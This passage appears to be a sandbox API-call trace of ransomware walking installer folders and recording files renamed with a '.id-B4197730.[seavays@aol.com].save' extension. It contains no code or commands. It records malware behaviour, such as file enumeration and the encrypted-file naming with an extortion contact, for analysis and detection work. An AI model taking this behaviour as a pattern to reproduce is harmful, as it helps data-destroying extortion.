dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.944] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0050.944] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0050.944] FindClose (in: hFindFile=0x42605c0 | out: hFindFile=0x42605c0) returned 1 [0050.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.944] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0050.944] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.944] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42603c0 [0050.945] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.945] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.945] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.945] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0050.945] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0050.945] FindClose (in: hFindFile=0x42603c0 | out: hFindFile=0x42603c0) returned 1 [0050.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.945] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0050.945] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.945] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260840 [0050.945] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.946] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.946] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.946] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.946] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0050.946] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0050.946] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0050.946] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.946] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0050.946] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.946] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0050.946] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.946] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.947] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.947] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.947] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.947] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0050.947] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.947] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0050.947] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.947] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0050.947] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.947] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.947] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.948] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.948] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.948] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0050.948] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.948] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0050.948] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.948] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260700 [0050.948] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.948] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.948] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.948] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.949] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.949] FindClose (in: hFindFile=0x4260700 | out: hFindFile=0x4260700) returned 1 [0050.949] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.949] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0050.949] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.949] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604c0 [0050.949] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.949] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.949] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.949] FindNextFileW (in: 